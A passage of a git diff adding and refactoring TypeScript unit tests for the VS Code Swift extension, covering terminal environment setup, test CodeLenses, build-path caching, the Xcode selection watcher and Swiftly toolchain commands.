+//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import configuration from "@src/configuration"; +import { SwiftEnvironmentVariablesManager, SwiftTerminalProfileProvider } from "@src/terminal"; + +import { + MockedObject, + instance, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../MockUtils"; + +suite("Terminal", () => { + const mockedPlatform = mockGlobalValue(process, "platform"); + const enableTerminalEnvironmentConfig = mockGlobalValue( + configuration, + "enableTerminalEnvironment" + ); + const pathConfig = mockGlobalValue(configuration, "path"); + const swiftEnvironmentVariablesConfig = mockGlobalValue( + configuration, + "swiftEnvironmentVariables" + ); + + setup(() => { + // Set default platform to non-Windows for most tests + mockedPlatform.setValue("darwin"); + + // Default configuration values + enableTerminalEnvironmentConfig.setValue(true); + pathConfig.setValue("/path/to/swift"); + swiftEnvironmentVariablesConfig.setValue({ SWIFT_ENV: "test" }); + }); + + suite("SwiftEnvironmentVariablesManager", () => { + let mockedExtensionContext: MockedObject; + let mockedEnvironmentVariableCollection: MockedObject; + let mockedDisposable: MockedObject; + + const mockedWorkspace = mockGlobalObject(vscode, "workspace"); + + setup(() => { + // Set default platform to non-Windows for most tests + mockedPlatform.setValue("darwin"); + + mockedEnvironmentVariableCollection = + mockObject({ + clear: () => {}, + prepend: () => {}, + replace: () => {}, + getScoped: (_scope: vscode.EnvironmentVariableScope) => + instance(mockedEnvironmentVariableCollection), + }); + + mockedExtensionContext = mockObject({ + environmentVariableCollection: instance(mockedEnvironmentVariableCollection), + }); + + mockedDisposable = mockObject({ + dispose: () => {}, + }); + + mockedWorkspace.onDidChangeConfiguration.returns(instance(mockedDisposable)); + }); + + test("constructor initializes and calls update", () => { + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.have.been.calledWith( + "PATH", + "/path/to/swift:" + ); + expect(mockedEnvironmentVariableCollection.replace).to.have.been.calledWith( + "SWIFT_ENV", + "test" + ); + }); + + test("constructor registers configuration change listener", () => { + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedWorkspace.onDidChangeConfiguration).to.have.been.calledOnce; + }); + + test("update does nothing when enableTerminalEnvironment is false", () => { + enableTerminalEnvironmentConfig.setValue(false); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.not.have.been.called; + expect(mockedEnvironmentVariableCollection.replace).to.not.have.been.called; + }); + + test("update handles empty path", () => { + pathConfig.setValue(""); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.not.have.been.called; + expect(mockedEnvironmentVariableCollection.replace).to.have.been.calledWith( + "SWIFT_ENV", + "test" + ); + }); + + test("update handles empty environment variables", () => { + swiftEnvironmentVariablesConfig.setValue({}); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.have.been.calledWith( + "PATH", + "/path/to/swift:" + ); + expect(mockedEnvironmentVariableCollection.replace).to.not.have.been.called; + }); + + test("update uses Windows path separator on Windows", () => { + mockedPlatform.setValue("win32"); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.prepend).to.have.been.calledWith( + "PATH", + "/path/to/swift;" + ); + }); + + test("dispose clears environment variables and disposes subscriptions", () => { + const manager = new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + mockedEnvironmentVariableCollection.clear.resetHistory(); + + manager.dispose(); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedDisposable.dispose).to.have.been.calledOnce; + }); + + test("onDidChangeConfiguration calls update", () => { + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + const callback = mockedWorkspace.onDidChangeConfiguration.getCall(0).args[0]; + + mockedEnvironmentVariableCollection.clear.resetHistory(); + + callback({ affectsConfiguration: (section: string) => section === "swift.path" }); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + + mockedEnvironmentVariableCollection.clear.resetHistory(); + + callback({ affectsConfiguration: (section: string) => section === "other.setting" }); + + expect(mockedEnvironmentVariableCollection.clear).to.not.have.been.called; + }); + + test("onDidChangeConfiguration calls update", () => { + // Create the manager + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + // Get the callback + const callback = mockedWorkspace.onDidChangeConfiguration.getCall(0).args[0]; + + // Reset call history + mockedEnvironmentVariableCollection.clear.resetHistory(); + + // Call the callback with an event that affects swift.path + callback({ affectsConfiguration: (section: string) => section === "swift.path" }); + + // Verify that clear was called again + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + + // Reset call history + mockedEnvironmentVariableCollection.clear.resetHistory(); + + // Call the callback with an event that does not affect swift.path + callback({ affectsConfiguration: (section: string) => section === "other.setting" }); + + // Verify that clear was not called + expect(mockedEnvironmentVariableCollection.clear).to.not.have.been.called; + }); + }); + + suite("SwiftTerminalProfileProvider", () => { + // Mock configuration values + const mockedWindow = mockGlobalObject(vscode, "window"); + let mockedTerminal: MockedObject; + let mockedDisposable: MockedObject; + + setup(() => { + // Create mocks + mockedTerminal = mockObject({ + sendText: () => {}, + }); + + mockedDisposable = mockObject({ + dispose: () => {}, + }); + + mockedWindow.onDidOpenTerminal.returns(instance(mockedDisposable)); + mockedWindow.registerTerminalProfileProvider.returns(instance(mockedDisposable)); + }); + + test("provideTerminalProfile returns correct profile with environment variables", () => { + const provider = new SwiftTerminalProfileProvider(); + const profile = provider.provideTerminalProfile(); + + expect(profile).to.be.instanceOf(vscode.TerminalProfile); + expect((profile as vscode.TerminalProfile).options.name).to.equal("Swift Terminal"); + expect((profile as vscode.TerminalProfile).options.iconPath).to.be.instanceOf( + vscode.ThemeIcon + ); + + // Access env property safely with type assertion + const options = (profile as vscode.TerminalProfile).options; + const env = options as unknown as { env: Record }; + expect(env.env).to.deep.equal({ SWIFT_ENV: "test" }); + }); + + test("provideTerminalProfile sets up terminal when enableTerminalEnvironment is false", () => { + enableTerminalEnvironmentConfig.setValue(false); + + const provider = new SwiftTerminalProfileProvider(); + const profile = provider.provideTerminalProfile(); + expect(profile).to.exist; + expect(mockedWindow.onDidOpenTerminal).to.have.been.calledOnce; + + const callback = mockedWindow.onDidOpenTerminal.getCall(0).args[0]; + callback(instance(mockedTerminal)); + + expect(mockedDisposable.dispose).to.have.been.calledOnce; + expect(mockedTerminal.sendText).to.have.been.calledWith( + "export PATH=/path/to/swift:$PATH" + ); + }); + + test("provideTerminalProfile uses Windows path separator on Windows", () => { + mockedPlatform.setValue("win32"); + enableTerminalEnvironmentConfig.setValue(false); + + const provider = new SwiftTerminalProfileProvider(); + const profile = provider.provideTerminalProfile(); + expect(profile).to.exist; + + const callback = mockedWindow.onDidOpenTerminal.getCall(0).args[0]; + callback(instance(mockedTerminal)); + + expect(mockedTerminal.sendText).to.have.been.calledWith( + "export PATH=/path/to/swift;$PATH" + ); + }); + + test("register calls registerTerminalProfileProvider", () => { + const disposable = SwiftTerminalProfileProvider.register(); + + expect(mockedWindow.registerTerminalProfileProvider).to.have.been.calledOnce; + expect(mockedWindow.registerTerminalProfileProvider.getCall(0).args[0]).to.equal( + "swift.terminalProfile" + ); + expect( + mockedWindow.registerTerminalProfileProvider.getCall(0).args[1] + ).to.be.instanceOf(SwiftTerminalProfileProvider); + + expect(disposable).to.equal(instance(mockedDisposable)); + }); + }); +}); diff --git a/test/unit-tests/testexplorer/TestCodeLensProvider.test.ts b/test/unit-tests/testexplorer/TestCodeLensProvider.test.ts new file mode 100644 index 000000000..177e796eb --- /dev/null +++ b/test/unit-tests/testexplorer/TestCodeLensProvider.test.ts @@ -0,0 +1,270 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as sinon from "sinon"; +import * as vscode from "vscode"; + +import { TestCodeLensProvider } from "@src/TestExplorer/TestCodeLensProvider"; +import { TestExplorer } from "@src/TestExplorer/TestExplorer"; +import * as TestUtils from "@src/TestExplorer/TestUtils"; +import configuration from "@src/configuration"; + +import { instance, mockObject } from "../../MockUtils"; + +suite("TestCodeLensProvider", () => { + let sandbox: sinon.SinonSandbox; + let testExplorer: TestExplorer; + let testItems: vscode.TestItem[]; + let document: vscode.TextDocument; + let configStub: sinon.SinonStub; + let flattenStub: sinon.SinonStub; + let registerCodeLensProviderStub: sinon.SinonStub; + let codeLensProvider: TestCodeLensProvider; + + const token = () => new vscode.CancellationTokenSource().token; + + setup(() => { + sandbox = sinon.createSandbox(); + + testItems = [ + createTestItem("test1", "Test 1", "/path/to/file1.swift", new vscode.Range(0, 0, 1, 0)), + createTestItem("test2", "Test 2", "/path/to/file2.swift", new vscode.Range(2, 0, 3, 0)), + createTestItem("test3", "Test 3", "/path/to/file1.swift", new vscode.Range(4, 0, 5, 0)), + createTestItem("test4", "Test 4", "/path/to/file1.swift", undefined), + ]; + + const testItemCollection = mockObject({ + forEach: sandbox.stub().callsFake((callback: (item: vscode.TestItem) => void) => { + testItems.forEach(item => callback(item)); + }), + get: sandbox.stub(), + delete: sandbox.stub(), + replace: sandbox.stub(), + size: testItems.length, + add: sandbox.stub(), + }); + + const testController = mockObject({ + items: testItemCollection, + createTestItem: sandbox.stub(), + }); + + const onTestItemsDidChangeStub = sandbox.stub(); + onTestItemsDidChangeStub.returns({ dispose: sandbox.stub() }); + + testExplorer = mockObject({ + controller: instance(testController), + onTestItemsDidChange: onTestItemsDidChangeStub, + }) as unknown as TestExplorer; // allows for a partial mock of TestExplorer + + document = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + registerCodeLensProviderStub = sandbox + .stub(vscode.languages, "registerCodeLensProvider") + .returns({ dispose: sandbox.stub() }); + + configStub = sandbox.stub(configuration, "showTestCodeLenses"); + flattenStub = sandbox.stub(TestUtils, "flattenTestItemCollection").returns(testItems); + codeLensProvider = new TestCodeLensProvider(testExplorer); + }); + + teardown(() => { + sandbox.restore(); + codeLensProvider.dispose(); + }); + + function createTestItem( + id: string, + label: string, + filePath: string, + range: vscode.Range | undefined + ): vscode.TestItem { + return instance( + mockObject({ + id, + label, + uri: filePath ? vscode.Uri.file(filePath) : undefined, + range, + }) + ); + } + + test("constructor should register event handlers and code lens provider", () => { + expect((testExplorer.onTestItemsDidChange as sinon.SinonStub).calledOnce).to.be.true; + expect(registerCodeLensProviderStub.calledOnce).to.be.true; + expect(registerCodeLensProviderStub.firstCall.args[0]).to.deep.equal({ + language: "swift", + scheme: "file", + }); + expect(registerCodeLensProviderStub.firstCall.args[1]).to.equal(codeLensProvider); + }); + + test("provideCodeLenses should return empty array when showTestCodeLenses is false", async () => { + configStub.value(false); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + expect(result).to.be.an("array").that.is.empty; + expect(flattenStub.called).to.be.false; + }); + + test("provideCodeLenses should return empty array when showTestCodeLenses is an empty array", async () => { + configStub.value([]); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + expect(result).to.be.an("array").that.is.empty; + expect(flattenStub.called).to.be.false; + }); + + test("provideCodeLenses should filter test items by document URI", async () => { + configStub.value(true); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + // Should only include test items with matching URI (test1 and test3) + expect(result).to.be.an("array").with.lengthOf(6); // 2 test items * 3 lens types + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + // Verify that the code lenses are for the correct test items + const testItemIds = result!.map( + lens => (lens.command?.arguments?.[0] as vscode.TestItem).id + ); + expect(testItemIds).to.include.members([ + "test1", + "test1", + "test1", + "test3", + "test3", + "test3", + ]); + expect(testItemIds).to.not.include.members(["test2", "test4"]); + }); + + test("provideCodeLenses should create code lenses for all types when showTestCodeLenses is true", async () => { + configStub.value(true); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + // Should create 3 lens types (run, debug, coverage) for each matching test item (test1 and test3) + expect(result).to.be.an("array").with.lengthOf(6); + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + const commands = result!.map((lens: vscode.CodeLens) => lens.command?.command); + expect(commands).to.include.members([ + "swift.runTest", + "swift.runTest", + "swift.debugTest", + "swift.debugTest", + "swift.runTestWithCoverage", + "swift.runTestWithCoverage", + ]); + }); + + test("provideCodeLenses should create code lenses only for specified types", async () => { + configStub.value(["run", "debug"]); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + // Should create 2 lens types (run, debug) for each matching test item (test1 and test3) + expect(result).to.be.an("array").with.lengthOf(4); + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + const commands = result!.map((lens: vscode.CodeLens) => lens.command?.command); + expect(commands).to.include.members([ + "swift.runTest", + "swift.runTest", + "swift.debugTest", + "swift.debugTest", + ]); + expect(commands).to.not.include("swift.runTestWithCoverage"); + }); + + test("provideCodeLenses should return empty array for test items without a range", async () => { + configStub.value(true); + + // Create a document that matches the URI of the test item without a range + const noRangeDocument = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + // Make flattenStub return only the test item without a range + flattenStub.returns([testItems[3]]); // test4 has no range + + const result = await codeLensProvider.provideCodeLenses(noRangeDocument, token()); + + expect(result).to.be.an("array").that.is.empty; + }); + + test("provideCodeLenses should create code lenses for all types when config is true", async () => { + configStub.value(true); + + // Create a document that matches the URI of the test item with a range + const singleItemDocument = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + // Make flattenStub return only one test item with a range + flattenStub.returns([testItems[0]]); // test1 has a range + + const result = await codeLensProvider.provideCodeLenses(singleItemDocument, token()); + + // Should create 3 lens types (run, debug, coverage) + expect(result).to.be.an("array").with.lengthOf(3); + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + const commands = result!.map((lens: vscode.CodeLens) => lens.command?.command); + expect(commands).to.include.members([ + "swift.runTest", + "swift.debugTest", + "swift.runTestWithCoverage", + ]); + }); + + test("provideCodeLenses should create code lenses only for specified types", async () => { + configStub.value(["run"]); + + // Create a document that matches the URI of the test item with a range + const singleItemDocument = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + // Make flattenStub return only one test item with a range + flattenStub.returns([testItems[0]]); // test1 has a range + + const result = await codeLensProvider.provideCodeLenses(singleItemDocument, token()); + + // Should create 1 lens type (run) + expect(result).to.be.an("array").with.lengthOf(1); + + // Ensure result is not null or undefined before accessing its properties + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + expect(result![0].command?.command).to.equal("swift.runTest"); + }); +}); diff --git a/test/unit-tests/toolchain/BuildFlags.test.ts b/test/unit-tests/toolchain/BuildFlags.test.ts index a6ece857d..224ee728d 100644 --- a/test/unit-tests/toolchain/BuildFlags.test.ts +++ b/test/unit-tests/toolchain/BuildFlags.test.ts @@ -11,14 +11,18 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as path from "path"; import { expect } from "chai"; -import { DarwinCompatibleTarget, SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { ArgumentFilter, BuildFlags } from "../../../src/toolchain/BuildFlags"; -import { Version } from "../../../src/utilities/version"; -import configuration from "../../../src/configuration"; -import { mockObject, mockGlobalValue, MockedObject, instance } from "../../MockUtils"; +import * as path from "path"; +import * as sinon from "sinon"; + +import configuration from "@src/configuration"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { ArgumentFilter, BuildFlags } from "@src/toolchain/BuildFlags"; +import { DarwinCompatibleTarget, SwiftToolchain } from "@src/toolchain/toolchain"; +import * as utilities from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockGlobalValue, mockObject } from "../../MockUtils"; suite("BuildFlags Test Suite", () => { const mockedPlatform = mockGlobalValue(process, "platform"); @@ -428,4 +432,144 @@ suite("BuildFlags Test Suite", () => { ]); expect(filterArguments(["-one=1", "-zero=0", "-one1=1"])).to.deep.equal(["-one=1"]); }); + + suite("getBuildBinaryPath", () => { + const buildArgsConfig = mockGlobalValue(configuration, "buildArguments"); + let execSwiftSpy: sinon.SinonSpy; + const logger: MockedObject = mockObject({ + warn: sinon.spy(), + }); + + setup(async () => { + execSwiftSpy = sinon.spy(() => + Promise.resolve({ stdout: "/test/bin/path\n", stderr: "" }) + ); + sinon.replace(utilities, "execSwift", execSwiftSpy); + + // Clear cache before each test + BuildFlags.clearBuildPathCache(); + buildArgsConfig.setValue([]); + }); + + teardown(() => { + sinon.restore(); + BuildFlags.clearBuildPathCache(); + }); + + test("debug configuration calls swift build with correct arguments", async () => { + const result = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "debug", + instance(logger) + ); + + expect(result).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; + + const [args, , options] = execSwiftSpy.firstCall.args; + expect(args).to.include("build"); + expect(args).to.include("--show-bin-path"); + expect(args).to.include("--configuration"); + expect(args).to.include("debug"); + expect(options.cwd).to.equal("/test/workspace"); + }); + + test("release configuration calls swift build with correct arguments", async () => { + const result = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "release", + instance(logger) + ); + + expect(result).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; + + const [args] = execSwiftSpy.firstCall.args; + expect(args).to.include("--configuration"); + expect(args).to.include("release"); + }); + + test("includes build arguments in command", async () => { + buildArgsConfig.setValue(["--build-system", "swiftbuild"]); + + await buildFlags.getBuildBinaryPath("/test/workspace", "debug", instance(logger)); + + const [args] = execSwiftSpy.firstCall.args; + expect(args).to.include("--build-system"); + expect(args).to.include("swiftbuild"); + }); + + test("caches results based on workspace and configuration", async () => { + // First call + const result1 = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "debug", + instance(logger) + ); + expect(result1).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; + + // Second call should use cache + const result2 = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "debug", + instance(logger) + ); + expect(result2).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledOnce; // Still only one call + + // Different configuration should not use cache + const result3 = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "release", + instance(logger) + ); + expect(result3).to.equal("/test/bin/path"); + expect(execSwiftSpy).to.have.been.calledTwice; + }); + + test("different build arguments create different cache entries", async () => { + // First call with no build arguments + await buildFlags.getBuildBinaryPath("/test/workspace", "debug", instance(logger)); + expect(execSwiftSpy).to.have.been.calledOnce; + + // Change build arguments + buildArgsConfig.setValue(["--build-system", "swiftbuild"]); + + // Second call should not use cache due to different build arguments + await buildFlags.getBuildBinaryPath("/test/workspace", "debug", instance(logger)); + expect(execSwiftSpy).to.have.been.calledTwice; + }); + + test("falls back to traditional path on error", async () => { + // Restore the previous stub first + sinon.restore(); + + // Mock execSwift to throw an error + execSwiftSpy = sinon.spy(() => Promise.reject(new Error("Command failed"))); + const utilities = await import("@src/utilities/utilities"); + sinon.replace(utilities, "execSwift", execSwiftSpy); + + const log = instance(logger); + const result = await buildFlags.getBuildBinaryPath("/test/workspace", "debug", log); + + // Should fallback to traditional path + expect(result).to.equal(path.normalize("/test/workspace/.build/debug")); + expect(log.warn).to.have.been.calledOnce; + }); + + test("clearBuildPathCache clears all cached entries", async () => { + // Cache some entries + await buildFlags.getBuildBinaryPath("cwd", "debug", instance(logger)); + await buildFlags.getBuildBinaryPath("cwd", "release", instance(logger)); + expect(execSwiftSpy).to.have.been.calledTwice; + + // Clear cache + BuildFlags.clearBuildPathCache(); + + // Next calls should execute again + await buildFlags.getBuildBinaryPath("cwd", "debug", instance(logger)); + expect(execSwiftSpy).to.have.been.calledThrice; + }); + }); }); diff --git a/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts b/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts index fc2912d0d..286276ee1 100644 --- a/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts +++ b/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts @@ -11,30 +11,34 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import { SelectedXcodeWatcher } from "../../../src/toolchain/SelectedXcodeWatcher"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; +import * as vscode from "vscode"; + +import { Commands } from "@src/commands"; +import configuration from "@src/configuration"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { SelectedXcodeWatcher } from "@src/toolchain/SelectedXcodeWatcher"; +import * as ReloadExtension from "@src/ui/ReloadExtension"; + import { - instance, MockedObject, + instance, mockFn, + mockGlobalModule, mockGlobalObject, mockGlobalValue, mockObject, } from "../../MockUtils"; -import configuration from "../../../src/configuration"; -import { Commands } from "../../../src/commands"; suite("Selected Xcode Watcher", () => { const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); - let mockOutputChannel: MockedObject; + let mockLogger: MockedObject; const pathConfig = mockGlobalValue(configuration, "path"); const envConfig = mockGlobalValue(configuration, "swiftEnvironmentVariables"); const mockWorkspace = mockGlobalObject(vscode, "workspace"); const mockCommands = mockGlobalObject(vscode, "commands"); let mockSwiftConfig: MockedObject; + const mockReloadExtension = mockGlobalModule(ReloadExtension); setup(function () { // Xcode only exists on macOS, so the SelectedXcodeWatcher is macOS-only. @@ -42,23 +46,29 @@ suite("Selected Xcode Watcher", () => { this.skip(); } - mockOutputChannel = mockObject({ - appendLine: mockFn(), + mockLogger = mockObject({ + debug: mockFn(), + info: mockFn(), }); pathConfig.setValue(""); + envConfig.setValue({}); mockSwiftConfig = mockObject({ inspect: mockFn(), update: mockFn(), }); mockWorkspace.getConfiguration.returns(instance(mockSwiftConfig)); + + mockReloadExtension.showReloadExtensionNotification.callsFake(async (message: string) => { + return vscode.window.showWarningMessage(message, "Reload Extensions"); + }); }); async function run(symLinksOnCallback: (string | undefined)[]) { return new Promise(resolve => { let ctr = 0; - const watcher = new SelectedXcodeWatcher(instance(mockOutputChannel), { + const watcher = new SelectedXcodeWatcher(instance(mockLogger), { checkIntervalMs: 1, xcodeSymlink: async () => { if (ctr >= symLinksOnCallback.length) { diff --git a/test/unit-tests/toolchain/ToolchainVersion.test.ts b/test/unit-tests/toolchain/ToolchainVersion.test.ts index 288159788..ea7626168 100644 --- a/test/unit-tests/toolchain/ToolchainVersion.test.ts +++ b/test/unit-tests/toolchain/ToolchainVersion.test.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; -import { ToolchainVersion } from "../../../src/toolchain/ToolchainVersion"; + +import { ToolchainVersion } from "@src/toolchain/ToolchainVersion"; suite("ToolchainVersion Unit Test Suite", () => { test("Parses snapshot", () => { diff --git a/test/unit-tests/toolchain/swiftly.test.ts b/test/unit-tests/toolchain/swiftly.test.ts index fa48bea81..dd3c38b55 100644 --- a/test/unit-tests/toolchain/swiftly.test.ts +++ b/test/unit-tests/toolchain/swiftly.test.ts @@ -11,76 +11,297 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; -import { Swiftly } from "../../../src/toolchain/swiftly"; -import * as utilities from "../../../src/utilities/utilities"; -import { mockGlobalModule, mockGlobalValue } from "../../MockUtils"; +import * as fs from "fs/promises"; +import * as mockFS from "mock-fs"; +import * as os from "os"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import * as askpass from "@src/askpass/askpass-server"; +import { installSwiftlyToolchainWithProgress } from "@src/commands/installSwiftlyToolchain"; +import * as SwiftOutputChannelModule from "@src/logging/SwiftOutputChannel"; +import { + Swiftly, + handleMissingSwiftlyToolchain, + parseSwiftlyMissingToolchainError, +} from "@src/toolchain/swiftly"; +import * as utilities from "@src/utilities/utilities"; + +import { instance, mockGlobalModule, mockGlobalObject, mockGlobalValue } from "../../MockUtils"; suite("Swiftly Unit Tests", () => { + const mockAskpass = mockGlobalModule(askpass); const mockUtilities = mockGlobalModule(utilities); const mockedPlatform = mockGlobalValue(process, "platform"); + const mockedEnv = mockGlobalValue(process, "env"); + const mockSwiftOutputChannelModule = mockGlobalModule(SwiftOutputChannelModule); + const mockOS = mockGlobalModule(os); setup(() => { + mockAskpass.withAskpassServer.callsFake(task => task("nonce", 8080)); + mockUtilities.execFile.reset(); + mockUtilities.execFileStreamOutput.reset(); + mockSwiftOutputChannelModule.SwiftOutputChannel.reset(); + mockOS.tmpdir.reset(); + + // Mock os.tmpdir() to return a valid temp directory path for Windows compatibility + mockOS.tmpdir.returns(process.platform === "win32" ? "C:\\temp" : "/tmp"); + + // Mock SwiftOutputChannel constructor to return a basic mock + mockSwiftOutputChannelModule.SwiftOutputChannel.callsFake( + () => + ({ + show: () => {}, + appendLine: () => {}, + append: () => {}, + }) as any + ); + mockedPlatform.setValue("darwin"); + mockedEnv.setValue({}); + mockFS({}); + }); + + teardown(() => { + mockFS.restore(); + }); + + suite("use()", () => { + test("sets the global toolchain if no cwd is provided", async () => { + // Mock version check to return 1.0.1 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + // "swiftly use" succeeds + mockUtilities.execFile.withArgs("swiftly", match.array.startsWith(["use"])).resolves(); + + await Swiftly.use("6.1.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "use", + "-y", + "--global-default", + "6.1.0", + ]); + }); + + test("sets the toolchain in cwd if it is provided", async () => { + // CWD exists + mockFS({ "/home/user/project": mockFS.directory() }); + // Mock version check to return 1.0.1 + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + // "swiftly use" succeeds + mockUtilities.execFile.withArgs("swiftly", match.array.startsWith(["use"])).resolves(); + + await Swiftly.use("6.1.0", "/home/user/project"); + + expect(mockUtilities.execFile).to.have.been.calledWith( + "swiftly", + ["use", "-y", "6.1.0"], + match.has("cwd", "/home/user/project") + ); + const stats = await fs.stat("/home/user/project/.swift-version"); + expect(stats.isFile(), "Expected .swift-version file to be created").to.be.true; + }); }); - suite("getSwiftlyToolchainInstalls", () => { - test("should return toolchain names from list-available command for version 1.1.0", async () => { + suite("list()", () => { + test("should return toolchain names from list command for version 1.1.0", async () => { // Mock version check to return 1.1.0 mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ stdout: "1.1.0\n", stderr: "", }); - // Mock list-available command with JSON output - const jsonOutput = { - toolchains: [ - { - inUse: true, - isDefault: true, - version: { - major: 5, - minor: 9, - patch: 0, - name: "swift-5.9.0-RELEASE", - type: "stable", + // Mock list command with JSON output + mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 9, + patch: 0, + name: "swift-5.9.0-RELEASE", + type: "stable", + }, }, - }, - { - inUse: false, - isDefault: false, - version: { - major: 5, - minor: 8, - patch: 0, - name: "swift-5.8.0-RELEASE", - type: "stable", + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 10, + patch: 0, + name: "swift-5.10.0-RELEASE", + type: "stable", + }, }, - }, - { - inUse: false, - isDefault: false, - version: { - major: 5, - minor: 10, - branch: "development", - date: "2023-10-15", - name: "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", - type: "snapshot", + { + inUse: true, + isDefault: true, + version: { + major: 5, + minor: 10, + patch: 1, + name: "swift-5.10.1-RELEASE", + type: "stable", + }, }, - }, - ], - }; + { + inUse: false, + isDefault: false, + version: { + name: "xcode", + type: "system", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 10, + branch: "development", + date: "2021-10-15", + name: "swift-DEVELOPMENT-SNAPSHOT-2021-10-15-a", + type: "snapshot", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 10, + branch: "development", + date: "2023-10-15", + name: "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + type: "snapshot", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 5, + minor: 8, + patch: 0, + name: "swift-5.8.0-RELEASE", + type: "stable", + }, + }, + ], + }), + stderr: "", + }); + + const result = await Swiftly.list(); + + // Toolchains should be sorted newest to oldest with system toolchains appearing first, followed by + // stable toolchains, and finally snapshot toolchains. + expect(result).to.deep.equal([ + "xcode", + "swift-5.10.1-RELEASE", + "swift-5.10.0-RELEASE", + "swift-5.9.0-RELEASE", + "swift-5.8.0-RELEASE", + "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", + "swift-DEVELOPMENT-SNAPSHOT-2021-10-15-a", + ]); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "list", + "--format=json", + ]); + }); + + test("should be able to parse 